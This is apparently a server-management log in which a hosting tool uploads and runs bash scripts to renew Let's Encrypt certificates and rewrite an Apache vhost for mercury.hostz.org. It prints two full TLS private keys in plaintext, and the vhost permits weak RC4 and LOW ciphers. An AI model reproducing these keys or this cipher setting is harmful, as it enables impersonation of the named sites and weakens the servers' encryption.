        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-03 22:13:25: 

chmod 755 /tmp/pkp162414; /tmp/pkp162414; rm /tmp/pkp162414

2025-10-03 22:13:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99	5360
40:ba:bd:4b:96:20:a2:46:41:a4:bd:f7:61:91:c9:00

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBeIJpzBpkN/qRy7T0WMMfngTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMjExNDUxWhcNMjYwMTAxMjExNDUwWjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA1OmdfVqlPJX1moFdlLqByu3uEzdlcUXhPkgCUe/QgsywwTbafERhQYfB
CWP4z2j6EEg9HYxt3BqQLaPF7j4OBVfQaTgZ2H0BytH3RBc6Tid4M61icgo1tdUe
K7wnP3pngh//0+Da3RK1lLrtLbcPnMSA3LKe4MYJvbomW+g9wcuG1/ELVC7LRChx
JYZvJW5L8vTd1zyj4ACqHrEmNHFnJPOncAaOSAV6kwrfNr15kafDzMTgPnDU4vej
nBrr5f4ioatZSAkOhcUf5PrkPoHZbGuSLYSwMYEWjyzDPPZSmbIjoYEvJVjlLQl3
7ZewiFAuWls2pg55r07TnMJCwMRPvwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSnm35s6iWmCPvVtWGTA9EMp0ZykzAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZmsIwwTAAAE
AwBIMEYCIQDOxqT4W4Ao/fHNR5YxrzmjgMAsEtpsMY/Xr72vW5MCvgIhAMcoou/S
Z4ShCIn3zHIIgPKcg0lMoUxYFmBFX++c6XfqAHUAGYbUxyiqb/66A294Kk0BkarO
LXIxD67OXXBBLSVMx9QAAAGZrCMT5AAABAMARjBEAiBITBopg3qjxmlVNuAbtdnl
Yg3DJngCH7OVTLSqkp3AywIgTl43TOPuYekKSdUbkDVte4ilNBEYJVoSWuuF521L
5+UwDQYJKoZIhvcNAQELBQADggEBADLKmjWBrWLC1rLZoJNAix89j9EP0sLhP7r6
oPRFEAXDJ8cEkvmYfxYS1p1TOaSHwEbUgDSZpBMSwh5rPCPzADaDvXktLKPm/jbM
RIz8CozXhosgpUY3xonGfzzgens6JwUHB8yoZtKGYciuUnucXOFZGkMjyT8iesEu
FXjGlpcWKFQ7SpzieIkQUQZ2w+CUoVG0ymZfFX0dDULUCcljrnmq5SjiRzpmiTuJ
nMpHkAk86s+8jVGWzJdDyGya4qJkTbB4xP0otQyobrBUwSybFE3N4VYVwV68ndy3
dLJjmU2LAqHdrr6NS8yBwwb2M0f3X+07FQOoQD4UbuaiF8WFe50=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU6Z19WqU8lfWa
gV2UuoHK7e4TN2VxReE+SAJR79CCzLDBNtp8RGFBh8EJY/jPaPoQSD0djG3cGpAt
o8XuPg4FV9BpOBnYfQHK0fdEFzpOJ3gzrWJyCjW11R4rvCc/emeCH//T4NrdErWU
uu0ttw+cxIDcsp7gxgm9uiZb6D3By4bX8QtULstEKHElhm8lbkvy9N3XPKPgAKoe
sSY0cWck86dwBo5IBXqTCt82vXmRp8PMxOA+cNTi96OcGuvl/iKhq1lICQ6FxR/k
+uQ+gdlsa5IthLAxgRaPLMM89lKZsiOhgS8lWOUtCXftl7CIUC5aWzamDnmvTtOc
wkLAxE+/AgMBAAECggEATUSbCysiXGJvx6q7M4acI/FFPWQVRI5/uAKaFPJbUZzH
aNdnY0HNqeKCg83sNhl65v3QcDDOjdp2CJou8s9Cd13vHMBnYNG9HMYmXmevmT1p
uhdqasiZxWuaj3SxKbBacDb8uQAZbbGkhF1yRezxlYsa2P1Z+2jjkB9GXIRkJTf2
MY0g7z8gpDwvHvW/36pLBlvNZzh2+odLg65Z7pPgZ8cLNvEYNkbgEGpbWplTMc0n
IFGAPiQyRf4aJdCNYQxE11q70ucYVA2gr0WfZezDpf/oS3AcuRCcKJCGdJLWAVnx
wF2ZgFzrTCdYY5YX+0mYvMUHPjqsAfi9x6CLL2yuwQKBgQDuc8iOX0xVglEpi9+n
Y9oaGretDfQDPrkAMPzJuoQSvOL1d+nGoUcsHAMw6fn1V24sWYsEoqsSNP8IPVZL
9VqGjaRD0iz85a3e0rtqAFsgbQoHk8N/+avsB1DrG+X4ulFd5/1Mnop5cHWL+e4S
9eq2WfU6GKzySr63E3GU8HKbDQKBgQDklK/+7ts6ZHKVPG4MJ2v0AwwnikZ+f7de
CPsU9A1feaMiGphwxlreiCO2KyGSDqaCNWS71p9wFAFjcZjC4fuilV3u0r01EW5u
T79c13chgNmCNkuQC0HdXXFsyIfXdaM27qanDDSBgq9BVvY2qFZFNxno4m90UBqp
k+ytTCTy+wKBgQCNFnLvUpG+8omFVJ6z01AELBTLzzq3BNC/vTyFO9fTonGDnjzz
aw/KmJSGx5o/QUkN8rlft8QS1MqlnG1IKlcyz/IGswAtbtSux+9eK/G/QOUzUInX
WeoQkM+fHPW4cr2cG5zzTcdPTWwvs2TbUShcVuPTSTBjeDhZ6KZG4vJcrQKBgHIw
5YtSACs3qxZqzf88Ym3QZ+4I4han7w8HJYfeNCASQDD1YFpWfWbWVCDZgzfYIc7C
pcRA//2ZwOfRBCO3iWI7hGWe2e78+lIZfNwAt/8Aw6iNP0qClTDlUZiqxVIZ7qOu
rYqeSky44JyfuPitOAvz7vmsxUkyC1/UClS4yWypAoGBANZY/j9a3u28MIuR0X49
KQ2+jjj4UC/6s5TFa7iUxa1QTsaoOgpMnJ7KzWHd6OqfA/V/2vlo3YmVGUDtBfGl
358YvgwzeqmwcCzwReTAM5TJSnh4gSjaHaLgbq+W1ET7SQL8DSPrR5oAspXh9SqF
ch1KXVQq/Chdk1HnRac5KliZ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-05 06:00:02: Establishing a connection
2025-10-05 06:00:04: Establishing a connection
2025-10-05 06:00:05: 

PUT: /tmp/pkp779049

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-05 06:00:06: 

chmod 755 /tmp/pkp779049; /tmp/pkp779049; rm /tmp/pkp779049

2025-10-05 06:00:06: 


0


2025-10-06 06:00:03: Establishing a connection
2025-10-06 06:00:05: Establishing a connection
2025-10-06 06:00:06: 

PUT: /tmp/pkp641521

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-06 06:00:07: 

chmod 755 /tmp/pkp641521; /tmp/pkp641521; rm /tmp/pkp641521

2025-10-06 06:00:07: 


0


2025-10-07 06:00:02: Establishing a connection
2025-10-07 06:00:04: Establishing a connection
2025-10-07 06:00:05: 

PUT: /tmp/pkp333602

#!/bin/bash
if [ -d "/var/www/hostz_mercury/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-07 06:00:06: 

chmod 755 /tmp/pkp333602; /tmp/pkp333602; rm /tmp/pkp333602

2025-10-07 06:00:06: 


1


2025-10-07 06:00:08: Establishing a connection
2025-10-07 06:00:09: 

PUT: /tmp/pkp825722

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
cat > vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E


2025-10-07 06:00:10: 

chmod 755 /tmp/pkp825722; /tmp/pkp825722; rm /tmp/pkp825722

2025-10-07 06:00:10: 




2025-10-07 06:00:22: Establishing a connection
2025-10-07 06:00:23: 

PUT: /tmp/pkp864884

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
rm vKB3wze6RQoFa6k-JLdFoSTzVSohI_SpGv7c8V8Yk5E


2025-10-07 06:00:24: 

chmod 755 /tmp/pkp864884; /tmp/pkp864884; rm /tmp/pkp864884

2025-10-07 06:00:24: 




2025-10-07 06:00:25: Establishing a connection
2025-10-07 06:00:26: 

PUT: /tmp/pkp406779

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
4e:bc:91:0a:52:75:63:77:87:fc:be:59:2c:b5:07:85

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBSPcS0zkoQnhjbWae6vmy/4/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMTQ5WhcNMjYwMTA1MDUwMTQ4WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALKvMsDL/lNCnOv5Fb6K4NNsLVrvsFXtwh3aDhOTy8xcUjPFfF6rj/T3JZ7E
tDyAvI0A/7Pqbm5FF0xLCh2x+WKU3gMVQ/XEZdAjveA6bqaVPhrIKebgKUke5JKe
Nfvh8RUMt/FwrXz4CEA8gHT2fxuLmX/wx8go7PRSXhxP3sieW3ydG10rf4H1MISz
KrI8gt2ptNuwc6b/5JidcpDe72aJy1XxVreXhLVUpVIjSDmmGYJHbnYUNQMNo5pJ
S46I9CqHoahglYGYYSozF61zj8WEaHSycKkmPLnCS1x6sUHa1yR1+Taa8c9WhBFY
tiuPSx3XO+QPnUCclHPIMl2/NYcCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUUQNj6cP9llQmAF8UAg4In9TNRIUwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzY0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmb1BpSMAAAQDAEYw
RAIgDn7Z58nabjJr7guxDNyWqOc0JNG/6M8uSX1qrD9A1bACIDwpASBveo5hjMQ0
YlRuoTYxerL6RZmTFSb5C7fnCDA2AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkF
hbDLFMMUWOcAAAGZvUGtBgAABAMARzBFAiEAqHUJbzZIzmbOtH1WMwMUVaZW50NY
UnngdssflTZdvzECIGeeB5+MXNdNsuWrukzjXclDdgOt9CG7PLG21xRCrzSUMA0G
CSqGSIb3DQEBCwUAA4IBAQBY0kCQ5GhFMAG0m+ErFBwDPwX2RpggRZNg+BYtVqJX
lf00MQE5PHV4JUDhquViVROBBO6NSg/uj+T/F2Nf8iQL1Ua5oNhzqufgA/Z9FPU2
/Pgm4BseFLBw+mPRNEgYTeEaKnIf9e5lBf9n04YmJfomCB2zG/eMK59B4hpCpnVq
aqCPrajG32d4LVy0SGq1y215eQN0N3EKTbPBF2bLU2sJ9HCU5wuDYIL/aO8DVnk9
U0MkylxsLVjI0WM1AHukCJFedi/0fyqUL5c9FFBb3c32L+WScuXnRqKnLkt5C6c+
JUK6WLpVBb47dCX28+1plfMMI2eo0HNDDeOF2p9UP6JB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyrzLAy/5TQpzr
+RW+iuDTbC1a77BV7cId2g4Tk8vMXFIzxXxeq4/09yWexLQ8gLyNAP+z6m5uRRdM
SwodsflilN4DFUP1xGXQI73gOm6mlT4ayCnm4ClJHuSSnjX74fEVDLfxcK18+AhA
PIB09n8bi5l/8MfIKOz0Ul4cT97Inlt8nRtdK3+B9TCEsyqyPILdqbTbsHOm/+SY
nXKQ3u9mictV8Va3l4S1VKVSI0g5phmCR252FDUDDaOaSUuOiPQqh6GoYJWBmGEq
Mxetc4/FhGh0snCpJjy5wktcerFB2tckdfk2mvHPVoQRWLYrj0sd1zvkD51AnJRz
yDJdvzWHAgMBAAECggEBAIAjb8we/jWLMalvqQ5J3c0AaM4r0VLt/CUYOLwFY0Mc
eb6ywuvJMKVFj276NR6mW5DqxHSri6H8XibSMWD2PpdZlpSzbVcUDsdiuknQ3YUM
xcrC/HmbC0BqrRQP7TrC3vZvdoHogiF6ZcBbIuu90Y1ZYS0E6OA7qSHU57R5+pP2
+LYU4W7tcMd0sRO5EDhFllkBSw58HseOPKVWChjZ+EDynDqirNpFLkyzU02ieiZ5
anKs0oGos6n+M0lNoXy1YdauVx9px2guZD/BYqsd/DFH72HxOiAVVg5nKwTxvyzy
t1y7Qd0Jm/rVG7JUBtUIA9kvZEjZX/pxKKVlpPbwnpECgYEA5Wm24+KU8tJA3l9Y
3L5HfXiRdJBsLUVErXaaa9C//CYMZ+Fm3E+Pi/tywb16HBpQQ+0HHtmscEBPiMwK
fnTTdSsJEgCZZ+7DzhegXXOZA5kimBSOYL7m/L0IzyStRSJwZWfzGZxJjqEYVl/f
oy5E64kLObqqY1GGSt7MLlyvNe0CgYEAx2R0YE+YZGq8oVJjW5iRVjyU49ZP9ReG
tG2RxkvWTW2Y9Hs5l6beNiL9kiGe21k3yI2eUgmnzsTCPMxB8fxmLyert9sbJScT
/1vhpFC0t1b3YtYTrVaXdWQzZKR/2E7cMAxOlup38mnhzgCyOqYk52Fb9G8Qnk1W
IbeuNUkpasMCgYEA4RxerjbD2ZGevZXp6JF+LQyGDk85FyMFRQFAfdMU0CO1wKlY
+Y3IWZ+e96UpkTHw2PZZKliF8I/qe11cXsHcTPixqcyUu3t6/1wHrCumVfWKEJj7
LMumdRI49qoSq+gjSh46WUMWmrJQ41CobcMVNdn//eHBGDwC/qyoxkWEV/ECgYAL
9beRS1TtuQVFe+afyN/21z1rCSDUp6uZyPS0ezoIfOluyLFkqkqr3p9tE30u1QQm
kHANpayeF2k7MllGRYhvjaacKZVQPi7R41X+gCTG1n2SPRsDC62cCf2XLNLKS7ij
XSmdncTCEp3LuHj4UZznEAzu9XZ+uE7RSO43HgNQ9wKBgB3C5FBCygrxFCjASaY+
xbJLlKRJgDG6Gnm7T1yxZ7RvJV1gUEIH9MEsWzmubAvsAjwQIsItiC4IlpUpC1fQ
DmqRz3VuDiTrXV4/pFv4f1ea2dK7rkB0GzC6fBwuvmYTsakyKXKgRhadecGXol+9
C8WeyZiK4gBcbwezd2Ak0uxW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-07 06:00:27: 

chmod 755 /tmp/pkp406779; /tmp/pkp406779; rm /tmp/pkp406779

2025-10-07 06:00:27: 


dir=/etc/ssl/certs


2025-10-07 06:00:27: 

PUT: /tmp/pkp335711

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_mercury_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-07 06:00:27: 

chmod 755 /tmp/pkp335711; /tmp/pkp335711; rm /tmp/pkp335711

2025-10-07 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 38

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-07 06:00:28: 

PUT: /tmp/pkp953525

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_mercury_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_mercury_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_mercury_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf= 1'
fi


2025-10-07 06:00:28: 

chmod 755 /tmp/pkp953525; /tmp/pkp953525; rm /tmp/pkp953525

2025-10-07 06:00:28: 




2025-10-07 06:00:28: 

PUT: /tmp/pkp870064

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-07 06:00:29: 

chmod 755 /tmp/pkp870064; /tmp/pkp870064; rm /tmp/pkp870064

